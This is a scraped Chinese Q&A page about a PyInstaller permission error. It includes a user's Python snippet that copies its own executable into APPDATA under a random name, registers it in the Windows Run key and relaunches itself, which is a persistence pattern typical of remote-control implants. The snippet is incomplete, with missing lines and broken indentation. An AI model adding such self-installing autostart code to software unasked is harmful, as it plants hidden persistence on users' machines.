Skip to main content
 首页 » 编程设计

python Pyinstaller IOError : [Errno 13] Permission denied

2025年05月04日13java哥

py2exe 运行良好,但 pyinstaller 出现此错误

ERROR:utils:[Errno 13] Permission denied: 'C:\\Documents and Settings\\Administrator\\Application Data\\khan\\controll123.exe' 
 
Traceback (most recent call last): 
 
 File "C:\Users\Philips\Desktop\filesync\filesyncbaaaaaaaaaaa\client\controll123\out00-PYZ.pyz\utils", line 94, in drop_check 
 
  File "C:\Users\Philips\Desktop\filesync\filesyncbaaaaaaaaaaa\client\controll123\out00-PYZ.pyz\shutil", line 88, in copy 
 
 File "C:\Users\Philips\Desktop\filesync\filesyncbaaaaaaaaaaa\client\controll123\out00-PYZ.pyz\shutil", line 53, in copyfile 
 
 
IOError: [Errno 13] Permission denied: 'C:\\Documents and Settings\\Administrator\\Application Data\\khan\\controll123.exe' 

这是我的代码

    import os 
import sys 
from time import sleep 
import random 
import subprocess 
import zipfile 
 
from config import APPDATA 
 
import shutil 
 
import win32api, win32con 
import _winreg 
import logging 
 
 
 
 
 
def register_startup(filename): 
    try: 
        key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0, _winreg.KEY_ALL_ACCESS) 
        _winreg.SetValueEx(key, "KSSync",0, _winreg.REG_SZ, filename) 
        return True 
    except Exception, e: 
        return False 
 
 
 
            if not os.path.exists(APPDATA): 
                os.makedirs(APPDATA) 
            dest = os.path.join(APPDATA, "strong_%s.exe" % str(random.randrange(1000,9999)) ) 
 
            logger.debug("Copying %s to %s" % (sys.executable, dest) ) 
            shutil.copy(sys.executable, dest) 
            logger.info("Installed %s to %s" % (sys.executable, dest)) 
            register_startup(dest) 
            subprocess.Popen([dest, '--patience']) 
            sys.exit(1) 
            return True 
            except Exception, e: 
            logger.exception(e) 
            return False 

在启动时调用注册文件这两个函数产生错误 register_startup(目的地) subprocess.Popen([dest, '--patience'])

是 文件存在 C:\Documents and Settings\Administrator\Application Data\khan\controll123.exe

似乎双背带是有原因的?

请您参考如下方法:

刚遇到这个问题,
通过以管理员模式运行 cmd 解决。